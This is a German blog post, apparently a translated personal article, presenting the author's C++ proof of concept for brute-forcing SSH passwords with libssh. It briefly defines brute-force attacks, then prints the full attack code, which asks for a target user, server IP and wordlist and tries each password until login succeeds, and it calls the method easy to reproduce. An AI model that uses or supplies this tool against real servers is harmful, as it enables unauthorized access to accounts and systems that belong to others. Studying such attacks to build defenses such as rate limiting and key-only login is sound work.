SSH Bruteforcing mit C++
Einführung
Willkommen zu meinem neuen Artikel. Heute zeige ich Ihnen mein C++-Skript zur Durchführung von SSH-Brute-Force-Angriffen.
Was ist Brute Forcing?
Informationen von:
Ein Brute-Force-Angriff ist eine Hacking-Methode, die durch Versuch und Irrtum Passwörter, Anmeldeinformationen und Verschlüsselungsschlüssel knackt. Es handelt sich um eine einfache, aber zuverlässige Taktik, um sich unbefugten Zugriff auf einzelne Konten sowie die Systeme und Netzwerke von Organisationen zu verschaffen. Der Hacker probiert mehrere Benutzernamen und Passwörter aus und testet häufig mithilfe eines Computers eine Vielzahl von Kombinationen, bis er die richtigen Anmeldeinformationen findet.
Der Name „Brute Force“ kommt von Angreifern, die mit übermäßiger Gewalt versuchen, sich Zugang zu Benutzerkonten zu verschaffen. Obwohl es sich um eine alte Cyberangriffsmethode handelt, haben sich Brute-Force-Angriffe bewährt und sind nach wie vor eine beliebte Taktik bei Hackern.
In diesem zuvor veröffentlichten Artikel habe ich einen kurzen Überblick über Hydra und seine Funktionsweise für SSH-Bruteforcing gegeben:
Hydra – BruteForce
Code
Dies ist ein guter Zeitpunkt, um den Code zu sehen, mit dem ich SSH-Server mit C++ angegriffen habe. Unten finden Sie einen Ausschnitt der Klassendatei für diesen PoC:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
Die Hauptdatei fordert Informationen über den anzugreifenden Benutzer und die IP-Adresse an und führt dann andere Funktionen aus.
Die anderen Funktionen befinden sich in der SSHHost- Klassendatei und verfügen über zwei Attribute: Benutzer und IP.
Dann haben Sie eine Konstruktormethode, die Methoden SSHConnection und SSHAuth . Die SSHConnection gibt eine Sitzung zurück, die SSHAuth verwendet hat.
PoC
Führen Sie das Skript aus und reagieren Sie entsprechend auf die Benutzeraufforderungen:
Die in dieser Angriffsmethode enthaltenen Schritte lassen sich sehr einfach reproduzieren und stellen eine gültige Angriffsmethode in der modernen Cyberwelt dar.
Die obige Ausgabe zeigt ein entdecktes Passwort, was auf einen erfolgreichen Brute-Force-Angriff hinweist …
Schlussfolgerungen
Dies ist eines meiner ersten offensiven Skripte, die Klassen und Objekte verwenden. Vielen Dank, dass Sie meinen Artikel gelesen haben. Ich hoffe, Ihnen hat der Inhalt gefallen!
S12.

![Was ist überhaupt eine verknüpfte Liste? [Teil 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































